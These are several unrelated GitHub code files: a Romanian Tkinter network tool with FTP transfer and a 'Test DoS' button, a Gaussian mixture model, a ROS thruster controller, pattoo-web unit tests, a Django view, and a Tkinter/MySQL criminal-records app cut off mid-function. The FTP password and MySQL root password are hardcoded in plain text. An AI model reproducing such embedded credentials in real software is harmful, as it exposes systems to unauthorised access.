bg=\"#F0F0F0\",\n fg=\"black\",\n width=14,\n height=1\n )\nlabel_path.grid(row=5,column=0)\n\nentry_path = Entry(bg='white', fg='black')\nentry_path.grid(row=5,column=1)\n\nbuton_save = Button(root,\n command = lambda: c.save(lista_pachete, dictionar_final, entry_path.get()),\n text='Salvare date local',\n font=(\"Arial Bold\",14),\n bg=\"yellow\",\n fg=\"purple\",\n width=17,\n height=2)\nbuton_save.grid(row=6,column=1)\n\nbuton_statistics = Button(root,\n command = lambda: c.show_stats(lista_pachete),\n text='Afișare statistici',\n font=(\"Arial Bold\",14),\n bg=\"orange\",\n fg=\"blue\",\n width=17,\n height=2)\nbuton_statistics.grid(row=4,column=1)\n\n######\nlabel_IP_server = Label(text='IP Server',\n font=(\"Calibri Bold\", 12),\n bg=\"#F0F0F0\",\n fg=\"black\",\n width=14,\n height=1\n )\n\nlabel_IP_server.grid(row=7, column=0)\n\nentry_IP_server = Entry(bg='white',fg='black')\n\nentry_IP_server.insert(END, '192.168.8.128')\n\nentry_IP_server.grid(row=7, column=1)\n\nlabel_user_ftp = Label(text='Username FTP',\n font=(\"Calibri Bold\", 12),\n bg=\"#F0F0F0\",\n fg=\"black\",\n width=14,\n height=1\n )\n\nlabel_user_ftp.grid(row=8, column=0)\n\nentry_user_ftp = Entry(bg='white',fg='black')\n\nentry_user_ftp.insert(END, 'Eduard')\n\nentry_user_ftp.grid(row=8, column=1)\n\nlabel_parola_ftp = Label(text='Parolă FTP',\n font=(\"Calibri Bold\", 12),\n bg=\"#F0F0F0\",\n fg=\"black\",\n width=14,\n height=1\n )\n\nlabel_parola_ftp.grid(row=9, column=0)\n\nentry_parola_ftp = Entry(show=\"*\", bg='white', fg='black')\n\nentry_parola_ftp.insert(END, 'Licenta12!')\n\nentry_parola_ftp.grid(row=9, column=1)\n\nbuton_ftp = Button(root,\n command = lambda: c.ftp_transfer(entry_IP_server.get(), entry_user_ftp.get(), entry_parola_ftp.get(), entry_path.get()),\n text='Transfer FTP',\n font=(\"Arial Bold\",14),\n bg=\"pink\",\n fg=\"green\",\n width=17,\n height=2)\n\nbuton_ftp.grid(row=10, column=1)\n\nbuton_all = Button(root,\n command=threading_automat,\n text='Rulare automata',\n font=(\"Arial Bold\",14),\n bg=\"brown\",\n fg=\"white\",\n width=17,\n height=2)\n\nbuton_all.grid(row=11, column=1)\n\nbuton_start = Button(root, command=c.pornire_rulare, text=\"Start\")\nbuton_start.grid(row=12, column=0)\n\nbuton_stop = Button(root, command=c.oprire_rulare, text=\"Stop\")\nbuton_stop.grid(row=12, column=1)\n\nbuton_test = Button(root, command=c.test_DoS, text=\"Test DoS\")\nbuton_test.grid(row=12, column=2)\n\nroot.mainloop()\n","repo_name":"Eduardppsq1/Portfolio","sub_path":"College Final Project/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":5285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18590461699","text":"import numpy as np\r\nfrom scipy.stats import multivariate_normal\r\n\r\nclass GMM:\r\n def fit(self, X, n_clusters, epochs):\r\n '''\r\n Parameters\r\n ----------\r\n X : shape (n_samples, n_features)\r\n Training data\r\n n_clusters : The number of clusters\r\n epochs : The number of epochs\r\n\r\n Returns\r\n -------\r\n y : shape (n_samples, 1)\r\n Predicted cluster label per sample.\r\n '''\r\n n_samples, n_features = X.shape\r\n self.__n_clusters = n_clusters\r\n self.__phi = np.full(self.__n_clusters, 1 / self.__n_clusters)\r\n self.__means = X[np.random.choice(n_samples, self.__n_clusters)]\r\n self.__sigma = np.repeat(np.expand_dims(np.cov(X.T), axis=0), 3, axis=0)\r\n\r\n for _ in range(epochs):\r\n y_probs = self.score(X)\r\n \r\n n_classes = np.sum(y_probs, axis=0)\r\n self.__phi = n_classes / n_samples\r\n\r\n for i in range(self.__n_clusters):\r\n self.__means[i] = np.sum(y_probs[:, i].reshape((-1, 1)) * X, axis=0) / n_classes[i]\r\n\r\n diff1 = (X - self.__means[i])[:,:,np.newaxis]\r\n diff2 = np.transpose(diff1, axes=(0, 2, 1)) * y_probs[:, i].reshape(-1, 1, 1)\r\n self.__sigma[i] = np.tensordot(diff1, diff2, axes=(0, 0)).reshape((n_features, n_features)) / n_classes[i]\r\n \r\n '''\r\n for j in range(n_samples):\r\n diff = (X[j] - self.__means[i]).reshape(-1, 1)\r\n self.__sigma[i] += y_probs[j, i] * diff.dot(diff.T)\r\n self.__sigma[i] /= n_classes[:, i]\r\n '''\r\n\r\n return self.predict(X)\r\n\r\n def score(self, X):\r\n n_samples = X.shape[0]\r\n\r\n X_probs = np.zeros((n_samples, self.__n_clusters))\r\n for i in range(self.__n_clusters):\r\n X_probs[:, i] = multivariate_normal.pdf(X, mean=self.__means[i], cov=self.__sigma[i])\r\n\r\n return self.__phi * X_probs / np.sum(self.__phi * X_probs, axis=1, keepdims=True)\r\n\r\n def predict(self, X):\r\n '''\r\n Parameters\r\n ----------\r\n X : shape (n_samples, n_features)\r\n Predicting data\r\n\r\n Returns\r\n -------\r\n y : shape (n_samples, 1)\r\n Predicted cluster label per sample.\r\n '''\r\n return np.argmax(self.score(X), axis=1)","repo_name":"zhaoyichanghong/machine_learing_algo_python","sub_path":"gaussian_mixed_model.py","file_name":"gaussian_mixed_model.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"37"} +{"seq_id":"7315039030","text":"#!/usr/bin/python3\n\nimport rospy\nimport json\nimport serial\nimport time\nfrom geometry_msgs.msg import Twist\nfrom thruster_control_class import ThrusterControl\n\nserial_port = input(\"Enter serial port (Default is /dev/ttyUSB0): \") or \"/dev/ttyUSB0\"\nser = serial.Serial(serial_port, baudrate=9600, bytesize=8, stopbits=1, write_timeout=0.1)\n\n# Instantiate class ThrusterControl\nthruster_ctrl = ThrusterControl()\n\n\n# Transform PWM-Signal in for PWM-Transceiver usabale data and send it in JSON format\ndef send_pwm():\n\n json_pwmsignals = json.dumps(thruster_ctrl.pwmsignals)\n try:\n ser.write(json_pwmsignals.encode('utf-8'))\n return print(f\"\"\"PWM sent succsessfully: \\n\n {thruster_ctrl.pwmsignals}\"\"\")\n \n except serial.SerialException as e:\n print(f\"Failed to send PWM signal due to signal error: {e}\")\n except TypeError as e:\n print(f\"Failed to encode PWM signals to JSON due to type error: {e}\")\n except Exception as e:\n print(f\"An unexpected error occurred: {e}\")\n\n\ndef callback(twist_msg):\n # Extracting relevant fields from the message\n surge = twist_msg.linear.x\n sway = twist_msg.linear.y\n yaw = twist_msg.angular.z\n\n thruster_ctrl.set_pwm(surge, sway, yaw)\n\n # Send the pwm signal in JSON format\n send_pwm()\n\n # Log the duty cycle values\n rospy.loginfo(f\"\"\"Thruster 1: {thruster_ctrl.thruster_1}, Thruster 2: {thruster_ctrl.thruster_2},\n Thruster 3: {thruster_ctrl.thruster_3}, Thruster 4: {thruster_ctrl.thruster_4}\"\"\")\n\n\n# Main function to initialize node and subscriber\ndef listener():\n\n rospy.init_node(\"thruster_keyb_ctrl\")\n\n rospy.Subscriber(\"/cmd_vel\", Twist, callback)\n\n rospy.spin()\n\nif __name__ == '__main__':\n try:\n rospy.loginfo(f\"{time.asctime()}\")\n listener()\n ser.write(json.dumps({\"R\": 1}))\n ser.close\n\n except rospy.ROSInterruptException:\n pass\n\n\n","repo_name":"SAAB-NTU/2023_UWR","sub_path":"ros_ws/src/thruster_ctrl/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73840148267","text":"#!/usr/bin/env python3\n\"\"\"Test pattoo configuration.\"\"\"\n\nimport os\nimport unittest\nimport sys\nfrom random import random\n\n# Try to create a working PYTHONPATH\nEXEC_DIR = os.path.dirname(os.path.realpath(__file__))\nROOT_DIR = os.path.abspath(os.path.join(\n os.path.abspath(os.path.join(EXEC_DIR, os.pardir)), os.pardir))\n_EXPECTED = '{0}pattoo-web{0}tests{0}test_pattoo_web'.format(os.sep)\nif EXEC_DIR.endswith(_EXPECTED) is True:\n # We need to prepend the path in case the repo has been installed\n # elsewhere on the system using PIP. This could corrupt expected results\n sys.path.insert(0, ROOT_DIR)\nelse:\n print('''This script is not installed in the \"{0}\" directory. Please fix.\\\n'''.format(_EXPECTED))\n sys.exit(2)\n\nfrom tests.libraries.configuration import UnittestConfig\nfrom pattoo_web.translate import AgentPair, KeyPair, datapoint_translations\nfrom pattoo_web.web.query.agent_xlate import AgentXlates\nfrom pattoo_web.web.query.pair_xlate import PairXlates\nfrom pattoo_web.constants import Translation\nfrom pattoo_web.web.query import datapoint as lib_datapoint\n\n\n# Create a common dataset for testing\nAGENTS = {'data': {'allAgentXlate': {'edges': [\n {'node': {'agentProgram': 'pattoo_agent_os_autonomousd',\n 'translation': 'Pattoo Standard OS Autonomous AgentXlate',\n 'id': 'QWdlbnRYbGF0ZTox',\n 'language': {'code': 'en'}}},\n {'node': {'agentProgram': 'pattoo_agent_snmpd',\n 'translation': 'Pattoo Standard SNMP AgentXlate',\n 'id': 'QWdlbnRYbGF0ZToz',\n 'language': {'code': 'en'}}}]}}}\n\nPAIRS = {'data': {'allPairXlateGroup': {'edges': [\n {'node': {'id': 'UGFpclhsYXRlR3JvdXA6MQ==',\n 'idxPairXlateGroup': '1',\n 'pairXlatePairXlateGroup': {'edges': []}}},\n {'node': {'id': 'UGFpclhsYXRlR3JvdXA6Mg==',\n 'idxPairXlateGroup': '2',\n 'pairXlatePairXlateGroup': {'edges': [\n {'node': {\n 'translation': (\n 'Interface Broadcast Packets (HC inbound)'),\n 'key': 'pattoo_agent_snmpd_.1.3.6.1.2.1.31.1.1.1.9',\n 'units': 'teddy_bear',\n 'language': {'code': 'en'}}},\n {'node': {\n 'translation': (\n 'Interface Multicast Packets (HC inbound)'),\n 'key': 'pattoo_agent_snmpd_.1.3.6.1.2.1.31.1.1.1.8',\n 'units': 'koala_bear',\n 'language': {'code': 'en'}}}]}}},\n {'node': {'id': 'UGFpclhsYXRlR3JvdXA6NA==',\n 'idxPairXlateGroup': '4',\n 'pairXlatePairXlateGroup': {'edges': [\n {'node': {\n 'translation': 'Supply Air Temperature (F)',\n 'key': 'pattoo_agent_modbustcpd_input_register_30486',\n 'units': 'grizzly_bear',\n 'language': {'code': 'en'}}},\n {'node': {\n 'translation': 'Return Air Temperature (F)',\n 'key': 'pattoo_agent_modbustcpd_input_register_30488',\n 'language': {'code': 'en'}}}]}}}]}}}\n\nDATAPOINT = {'data': {'datapoint': {\n 'agent': {'pairXlateGroup': {\n 'id': 'UGFpclhsYXRlR3JvdXA6MQ=='},\n 'agentPolledTarget': 'this_pc',\n 'idxPairXlateGroup': '2',\n 'agentProgram': 'pattoo_test_snmpd'},\n 'glueDatapoint': {'edges': [\n {'node': {'pair': {'key': 'pattoo_agent_snmpd_oid',\n 'value': '.1.3.6.1.2.1.2.2.1.10.345'}}},\n {'node': {'pair': {\n 'key': 'pattoo_key',\n 'value': 'pattoo_agent_snmpd_.1.3.6.1.2.1.31.1.1.1.8'}}}]},\n 'id': 'RGF0YVBvaW50OjM=',\n 'idxDatapoint': '3'}}}\n\n\nclass TestKeyPair(unittest.TestCase):\n \"\"\"Checks all functions and methods.\"\"\"\n\n #########################################################################\n # General object setup\n #########################################################################\n\n def test___init__(self):\n \"\"\"Testing method or function named __init__.\"\"\"\n pass\n\n def test_key(self):\n \"\"\"Testing method or function named key.\"\"\"\n # Test with values that have translations from the pattoo server\n translator = KeyPair(PairXlates(PAIRS).datapoints())\n for item in PAIRS['data']['allPairXlateGroup']['edges']:\n ipxg = item['node'].get('idxPairXlateGroup')\n for next_item in item['node']['pairXlatePairXlateGroup']['edges']:\n key = next_item['node'].get('key')\n _translation = next_item['node'].get('translation')\n _units = next_item['node'].get('units')\n self.assertEqual(\n translator.key(key, ipxg),\n Translation(text=_translation, units=_units))\n\n # Test with values that have no translations\n for key in [\n str(random()), str(random()), str(random()), str(random())]:\n result = translator.key(key, ipxg)\n self.assertEqual(result, Translation(text=key, units=''))\n\n\nclass TestAgentPair(unittest.TestCase):\n \"\"\"Checks all functions and methods.\"\"\"\n\n #########################################################################\n # General object setup\n #########################################################################\n\n def test___init__(self):\n \"\"\"Testing method or function named __init__.\"\"\"\n pass\n\n def test_agent_program(self):\n \"\"\"Testing method or function named agent_program.\"\"\"\n translator = AgentPair(AgentXlates(AGENTS).agents())\n for item in AGENTS['data']['allAgentXlate']['edges']:\n agent_program = item['node'].get('agentProgram')\n expected = item['node'].get('translation')\n self.assertEqual(translator.agent_program(agent_program), expected)\n\n\nclass TestBasicFunctions(unittest.TestCase):\n \"\"\"Checks all functions and methods.\"\"\"\n\n #########################################################################\n # General object setup\n #########################################################################\n\n def test_datapoint_translations(self):\n \"\"\"Testing method or function named datapoint_translations.\"\"\"\n _dp = lib_datapoint.DataPoint(DATAPOINT)\n translator = KeyPair(PairXlates(PAIRS).datapoints())\n result = datapoint_translations(_dp, translator)\n self.assertEqual(result.datapoint, _dp)\n self.assertEqual(\n result.pattoo_key_translation,\n Translation(\n text='Interface Multicast Packets (HC inbound)',\n units='koala_bear'))\n self.assertEqual(\n result.metadata_translations,\n [(Translation(text='pattoo_agent_snmpd_oid', units=''),\n '.1.3.6.1.2.1.2.2.1.10.345')])\n\n\nif __name__ == '__main__':\n # Make sure the environment is OK to run unittests\n UnittestConfig().create()\n\n # Do the unit test\n unittest.main()\n","repo_name":"PalisadoesFoundation/pattoo-web","sub_path":"tests/test_pattoo_web/test_translate.py","file_name":"test_translate.py","file_ext":"py","file_size_in_byte":7107,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"12994777497","text":"from django.shortcuts import render\n\n# Create your views here.\n\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nclass HomeApi(APIView):\n def get(self, request, format=None):\n content = {\n 'message': 'Welcome to Cars Rent API'\n }\n return Response(content)\n \nhome_api = HomeApi.as_view()","repo_name":"tarekichalalen2002/CarsRentApp","sub_path":"backend/cars_rent/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"26632709039","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom PIL import Image, ImageTk\r\nimport mysql.connector\r\nfrom tkinter import messagebox\r\n\r\nclass Criminal:\r\n def __init__(self,root):\r\n self.root=root\r\n self.root.geometry('1530x790+0+0')\r\n self.root.title('CRIMINAL MANAGEMENT SYSTEM')\r\n\r\n #variables\r\n self.var_case_id=StringVar()\r\n self.var_criminal_no=StringVar()\r\n self.var_crime_type=StringVar()\r\n self.var_criminal_name=StringVar()\r\n self.var_criminal_nickname=StringVar()\r\n self.var_father_name=StringVar()\r\n self.var_arrest_date=StringVar()\r\n self.var_date_of_crime=StringVar()\r\n self.var_gender=StringVar()\r\n self.var_address=StringVar()\r\n self.var_age=StringVar()\r\n self.var_birthmark=StringVar()\r\n self.var_occupation=StringVar()\r\n self.var_wanted=StringVar()\r\n\r\n #logo\r\n img_logo=Image.open('images/download.png')\r\n img_logo=img_logo.resize((100,100),Image.ANTIALIAS)\r\n self.photo_logo=ImageTk.PhotoImage(img_logo)\r\n\r\n self.logo=Label(self.root,image=self.photo_logo)\r\n self.logo.place(x=720,y=5,width=90,height=90)\r\n\r\n #Img_Frame\r\n img_frame=Frame(self.root,bd=2,relief=RIDGE,bg='white')\r\n img_frame.place(x=0,y=100,width=1530,height=130)\r\n\r\n lbl_title2=Label(self.root,text= 'Kokata Police', font=('times new roman',40,'bold'),fg='black')\r\n lbl_title2.place(x=0,y=100,width=1530,height=70)\r\n\r\n lbl_title3=Label(self.root,text= 'Lalbazar,Kolkata:700001', font=('times new roman',20,'bold'),fg='black')\r\n lbl_title3.place(x=0,y=175,width=1530,height=70)\r\n \r\n #main_Frame\r\n main_frame=Frame(self.root,bd=2,relief=RIDGE,bg='white')\r\n main_frame.place(x=7,y=260,width=1510,height=520)\r\n\r\n upper_frame=LabelFrame(main_frame,bd=2,relief=RIDGE,text='Criminal Information',font=('times new roman',15,'bold'),fg='red')\r\n upper_frame.place(x=10,y=10,width=1484,height=250)\r\n\r\n #label_entry\r\n #case_id\r\n caseid=Label(upper_frame,text='Case ID:',font=('Arial',10,'bold'),bg='white')\r\n caseid.grid(row=0,column=0,padx=2,sticky=W)\r\n\r\n caseentry=ttk.Entry(upper_frame,textvariable=self.var_case_id,width=22,font=('Arial',10,'bold'))\r\n caseentry.grid(row=0,column=1,padx=2,sticky=W)\r\n\r\n #Criminal_no\r\n lbl_criminal_no=Label(upper_frame,font=('Arial',10,'bold'),text='Criminal Number: ',bg='white')\r\n lbl_criminal_no.grid(row=0,column=2,sticky=W,padx=2,pady=7)\r\n\r\n txt_criminal_no=ttk.Entry(upper_frame,textvariable=self.var_criminal_no,width=22,font=('Arial',10,'bold'))\r\n txt_criminal_no.grid(row=0,column=3,padx=2,pady=7)\r\n\r\n #Criminal_name\r\n lbl_criminal_name=Label(upper_frame,font=('Arial',10,'bold'),text='Criminal Name: ',bg='white')\r\n lbl_criminal_name.grid(row=1,column=0,sticky=W,padx=2,pady=7)\r\n\r\n txt_criminal_name=ttk.Entry(upper_frame,textvariable=self.var_criminal_name,width=22,font=('Arial',10,'bold'))\r\n txt_criminal_name.grid(row=1,column=1,padx=2,pady=7)\r\n\r\n #nick_name\r\n lbl_nick_name=Label(upper_frame,font=('Arial',10,'bold'),text='Criminal Nickname: ',bg='white')\r\n lbl_nick_name.grid(row=1,column=2,sticky=W,padx=2,pady=7)\r\n\r\n txt_nick_name=ttk.Entry(upper_frame,textvariable=self.var_criminal_nickname,width=22,font=('Arial',10,'bold'))\r\n txt_nick_name.grid(row=1,column=3,padx=2,pady=7)\r\n\r\n #father_name\r\n lbl_father_name=Label(upper_frame,font=('Arial',10,'bold'),text=\"Father's Name: \",bg='white')\r\n lbl_father_name.grid(row=1,column=4,sticky=W,padx=2,pady=7)\r\n\r\n txt_father_name=ttk.Entry(upper_frame,textvariable=self.var_father_name,width=22,font=('Arial',10,'bold'))\r\n txt_father_name.grid(row=1,column=5,padx=2,pady=7)\r\n\r\n #crime_type\r\n lbl_crime_type=Label(upper_frame,font=('Arial',10,'bold'),text='Crime Type: ',bg='white')\r\n lbl_crime_type.grid(row=0,column=4,sticky=W,padx=2,pady=7)\r\n\r\n txt_crime_type=ttk.Entry(upper_frame,textvariable=self.var_crime_type,width=22,font=('Arial',10,'bold'))\r\n txt_crime_type.grid(row=0,column=5,padx=2,pady=7)\r\n\r\n #Arrest_Date\r\n lbl_arrest_date=Label(upper_frame,font=('Arial',10,'bold'),text='Arrest Date: ',bg='white')\r\n lbl_arrest_date.grid(row=2,column=0,sticky=W,padx=2,pady=7)\r\n\r\n txt_arrest_date=ttk.Entry(upper_frame,textvariable=self.var_arrest_date,width=22,font=('Arial',10,'bold'))\r\n txt_arrest_date.grid(row=2,column=1,padx=2,pady=7)\r\n\r\n #date_of_crime\r\n lbl_date_of_crime=Label(upper_frame,font=('Arial',10,'bold'),text='Date Of Crime: ',bg='white')\r\n lbl_date_of_crime.grid(row=2,column=2,sticky=W,padx=2,pady=7)\r\n\r\n txt_date_of_crime=ttk.Entry(upper_frame,textvariable=self.var_date_of_crime,width=22,font=('Arial',10,'bold'))\r\n txt_date_of_crime.grid(row=2,column=3,padx=2,pady=7)\r\n\r\n #address\r\n lbl_address=Label(upper_frame,font=('Arial',10,'bold'),text='Address: ',bg='white')\r\n lbl_address.grid(row=3,column=0,sticky=W,padx=2,pady=7)\r\n\r\n txt_address=ttk.Entry(upper_frame,textvariable=self.var_address,width=22,font=('Arial',10,'bold'))\r\n txt_address.grid(row=3,column=1,padx=2,pady=7)\r\n\r\n #age\r\n lbl_age=Label(upper_frame,font=('Arial',10,'bold'),text='Age: ',bg='white')\r\n lbl_age.grid(row=3,column=2,sticky=W,padx=2,pady=7)\r\n\r\n txt_age=ttk.Entry(upper_frame,textvariable=self.var_age,width=22,font=('Arial',10,'bold'))\r\n txt_age.grid(row=3,column=3,padx=2,pady=7)\r\n\r\n #occupation\r\n lbl_occupation=Label(upper_frame,font=('Arial',10,'bold'),text='Occupation: ',bg='white')\r\n lbl_occupation.grid(row=4,column=0,sticky=W,padx=2,pady=7)\r\n\r\n txt_occupation=ttk.Entry(upper_frame,textvariable=self.var_occupation,width=22,font=('Arial',10,'bold'))\r\n txt_occupation.grid(row=4,column=1,padx=2,pady=7)\r\n\r\n #birthmark\r\n lbl_birthmark=Label(upper_frame,font=('Arial',10,'bold'),text='Birthmark: ',bg='white')\r\n lbl_birthmark.grid(row=4,column=2,sticky=W,padx=2,pady=7)\r\n\r\n txt_birthmark=ttk.Entry(upper_frame,textvariable=self.var_birthmark,width=22,font=('Arial',10,'bold'))\r\n txt_birthmark.grid(row=4,column=3,padx=2,pady=7)\r\n\r\n #gender\r\n lbl_gender=Label(upper_frame,font=('Arial',10,'bold'),text='Gender: ',bg='white')\r\n lbl_gender.grid(row=2,column=4,sticky=W,padx=2,pady=7)\r\n\r\n #radio button gender\r\n radio_frame_gender=Frame(upper_frame,bd=2,relief=RIDGE,bg='white')\r\n radio_frame_gender.place(x=670,y=77,width=170,height=30)\r\n\r\n male=Radiobutton(radio_frame_gender,variable=self.var_gender,text='Male',value='male',font=('arial',9,'bold'),bg='white')\r\n male.grid(row=0,column=0,padx=5,pady=2,sticky='W')\r\n\r\n female=Radiobutton(radio_frame_gender,variable=self.var_gender,text='Female',value='female',font=('arial',9,'bold'),bg='white')\r\n female.grid(row=0,column=1,padx=5,pady=2,sticky='W')\r\n\r\n #wanted\r\n lbl_wanted=Label(upper_frame,font=('Arial',10,'bold'),text='Wanted: ',bg='white')\r\n lbl_wanted.grid(row=3,column=4,sticky=W,padx=2,pady=7)\r\n\r\n #radio button wanted\r\n radio_frame_wanted=Frame(upper_frame,bd=2,relief=RIDGE,bg='white')\r\n radio_frame_wanted.place(x=670,y=110,width=170,height=30)\r\n\r\n yes=Radiobutton(radio_frame_wanted,variable=self.var_wanted,text='YES',value='yes',font=('arial',9,'bold'),bg='white')\r\n yes.grid(row=0,column=0,padx=5,pady=2,sticky='W')\r\n\r\n no=Radiobutton(radio_frame_wanted,variable=self.var_wanted,text='NO',value='no',font=('arial',9,'bold'),bg='white')\r\n no.grid(row=0,column=1,padx=5,pady=2,sticky='W')\r\n\r\n #Button\r\n button_frame=Frame(upper_frame,bd=2,relief=RIDGE,bg='white')\r\n button_frame.place(x=5,y=180,width=630,height=40)\r\n\r\n #add button\r\n button_add=Button(button_frame,command=self.add_data,text='Save',font=('arial',13,'bold'),width=14,bg='blue',fg='white')\r\n button_add.grid(row=0,column=0,padx=3,pady=5)\r\n\r\n #update button\r\n button_update=Button(button_frame,command=self.update_data,text='Update',font=('arial',13,'bold'),width=14,bg='white',fg='black')\r\n button_update.grid(row=0,column=2,padx=3,pady=5)\r\n\r\n #clear button\r\n button_clear=Button(button_frame,command=self.clear_data,text='Clear',font=('arial',13,'bold'),width=14,bg='white',fg='black')\r\n button_clear.grid(row=0,column=4,padx=3,pady=5)\r\n\r\n #delete button\r\n button_delete=Button(button_frame,command=self.delete_data,text='Delete',font=('arial',13,'bold'),width=14,bg='red',fg='white')\r\n button_delete.grid(row=0,column=6,padx=3,pady=5)\r\n\r\n #background right side image\r\n img5=Image.open('images/SC.png')\r\n img5=img5.resize((158,156),Image.ANTIALIAS)\r\n self.photo5=ImageTk.PhotoImage(img5)\r\n\r\n self.img_5=Label(upper_frame,image=self.photo5)\r\n self.img_5.place(x=1100,y=5,width=158,height=156)\r\n\r\n #down_frame\r\n down_frame=LabelFrame(main_frame,bd=2,relief=RIDGE,text='Criminal Information Table',font=('times new roman',15,'bold'),fg='red')\r\n down_frame.place(x=10,y=260,width=1484,height=250)\r\n\r\n search_frame=LabelFrame(down_frame,bd=2,relief=RIDGE,text='Search Criminal Record',font=('times new roman',10,'bold'),fg='red')\r\n search_frame.place(x=2,y=0,width=1474,height=60)\r\n\r\n lbl_search_by=Label(search_frame,font=('Arial',10,'bold'),text='Search By: ',bg='red',fg='white')\r\n lbl_search_by.grid(row=0,column=0,sticky=W,padx=2,pady=7)\r\n \r\n self.var_com_search=StringVar()\r\n combo_search_box=ttk.Combobox(search_frame,textvariable=self.var_com_search,font=('Arial',10,'bold'),width=18,state='readonly')\r\n combo_search_box['value']=('Select Option','Case_id','Criminal_number')\r\n combo_search_box.current(0)\r\n combo_search_box.grid(row=0,column=1,sticky='W',padx=5)\r\n \r\n self.var_search=StringVar()\r\n serach_entry=ttk.Entry(search_frame,textvariable=self.var_search,width=18,font=('Arial',10,'bold'))\r\n serach_entry.grid(row=0,column=2,sticky='W',padx=5)\r\n\r\n #search_button\r\n button_search=Button(search_frame,command=self.search_data,text='Search',font=('arial',13,'bold'),width=14,bg='blue',fg='white')\r\n button_search.grid(row=0,column=3,sticky='W',padx=5)\r\n\r\n #show all button\r\n button_all=Button(search_frame,command=self.fetch_data,text='Show All',font=('arial',13,'bold'),width=14,bg='white',fg='black')\r\n button_all.grid(row=0,column=4,sticky='W',padx=5)\r\n\r\n table_frame=Frame(down_frame,bd=2,relief=RIDGE)\r\n table_frame.place(x=2,y=60,width=1473,height=162)\r\n\r\n #scroll bar\r\n scroll_x=ttk.Scrollbar(table_frame,orient=HORIZONTAL)\r\n scroll_y=ttk.Scrollbar(table_frame,orient=VERTICAL)\r\n\r\n self.criminal=ttk.Treeview(table_frame,column=('1','2','3','4','5','6','7','8','9','10','11','12','13','14'),xscrollcommand=scroll_x.set,yscrollcommand=scroll_y.set)\r\n \r\n scroll_x.pack(side=BOTTOM,fill=X)\r\n scroll_y.pack(side=RIGHT,fill=Y)\r\n\r\n scroll_x.config(command=self.criminal.xview)\r\n scroll_y.config(command=self.criminal.yview)\r\n\r\n self.criminal.heading('1',text='Case ID')\r\n self.criminal.heading('2',text='Criminal Nmber')\r\n self.criminal.heading('3',text='Crime Type')\r\n self.criminal.heading('4',text='Criminal Name')\r\n self.criminal.heading('5',text='Criminal Nickname')\r\n self.criminal.heading('6',text=\"Father's Name\")\r\n self.criminal.heading('7',text='Arrest Date')\r\n self.criminal.heading('8',text='Date Of Crime')\r\n self.criminal.heading('9',text='Gender')\r\n self.criminal.heading('10',text='Address')\r\n self.criminal.heading('11',text='Age')\r\n self.criminal.heading('12',text='Birthmark')\r\n self.criminal.heading('13',text='Occupation')\r\n self.criminal.heading('14',text='Wanted')\r\n\r\n self.criminal['show']='headings'\r\n\r\n self.criminal.column('1',width=105)\r\n self.criminal.column('2',width=105)\r\n self.criminal.column('3',width=105)\r\n self.criminal.column('4',width=105)\r\n self.criminal.column('5',width=105)\r\n self.criminal.column('6',width=105)\r\n self.criminal.column('7',width=105)\r\n self.criminal.column('8',width=105)\r\n self.criminal.column('9',width=105)\r\n self.criminal.column('10',width=105)\r\n self.criminal.column('11',width=105)\r\n self.criminal.column('11',width=105)\r\n self.criminal.column('12',width=105)\r\n self.criminal.column('13',width=104)\r\n self.criminal.column('14',width=106)\r\n\r\n self.criminal.pack(fill=BOTH,expand=1)\r\n\r\n self.criminal.bind('',self.get_cursor)\r\n\r\n self.fetch_data()\r\n\r\n #add function\r\n\r\n def add_data(self):\r\n if self.var_case_id.get()==\"\":\r\n messagebox.showerror('Error','All Frields are required')\r\n else:\r\n try:\r\n conn=mysql.connector.connect(host='localhost',username='root',password='Boomboomwoosh',database='criminal_database')\r\n my_cursor=conn.cursor()\r\n my_cursor.execute('insert into criminal values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)',(\r\n self.var_case_id.get(),\r\n self.var_criminal_no.get(),\r\n self.var_crime_type.get(),\r\n self.var_criminal_name.get(),\r\n self.var_criminal_nickname.get(),\r\n self.var_father_name.get(),\r\n self.var_arrest_date.get(),\r\n self.var_date_of_crime.get(),\r\n self.var_gender.get(),\r\n self.var_address.get(),\r\n self.var_age.get(),\r\n self.var_birthmark.get(),\r\n self.var_occupation.get(),\r\n self.var_wanted.get()\r\n ))\r\n conn.commit()\r\n self.fetch_data()\r\n self.clear_data()\r\n conn.close()\r\n messagebox.showinfo('Success','Criminal record has been added successfully')\r\n except Exception as es:\r\n messagebox.showerror('Error',f'Due to{str(es)}')\r\n\r\n #fetch data\r\n def fetch_data(self):\r\n conn=mysql.connector.connect(host='localhost',username='root',password='Boomboomwoosh',database='criminal_database')\r\n my_cursor=conn.cursor()\r\n my_cursor.execute('select * from criminal')\r\n data=my_cursor.fetchall()\r\n if len(data)!=0:\r\n self.criminal.delete(*self.criminal.get_children())\r\n for i in data:\r\n self.criminal.insert('',END,values=i)\r\n conn.commit()\r\n conn.close()\r\n \r\n #get cursor\r\n\r\n def get_cursor(self,event=\"\"):\r\n cursor_row=self.criminal.focus()\r\n content=self.criminal.item(cursor_row)\r\n data=content['values']\r\n\r\n self.var_case_id.set(data[0])\r\n self.var_criminal_no.set(data[1]),\r\n self.var_crime_type.set(data[2]),\r\n self.var_criminal_name.set(data[3]),\r\n self.var_criminal_nickname.set(data[4]),\r\n self.var_father_name.set(data[5]),\r\n self.var_arrest_date.set(data[6]),\r\n self.var_date_of_crime.set(data[7]),\r\n self.var_gender.set(data[8]),\r\n self.var_address.set(data[9]),\r\n self.var_age.set(data[10]),\r\n self.var_birthmark.set(data[13]),\r\n self.var_occupation.set(data[12]),\r\n self.var_wanted.set(data[11])\r\n\r\n #update\r\n\r\n def update_data(self):\r\n if self.var_case_id.get()==\"\":\r\n messagebox.showerror('Error','All Frields are required')\r\n else:\r\n 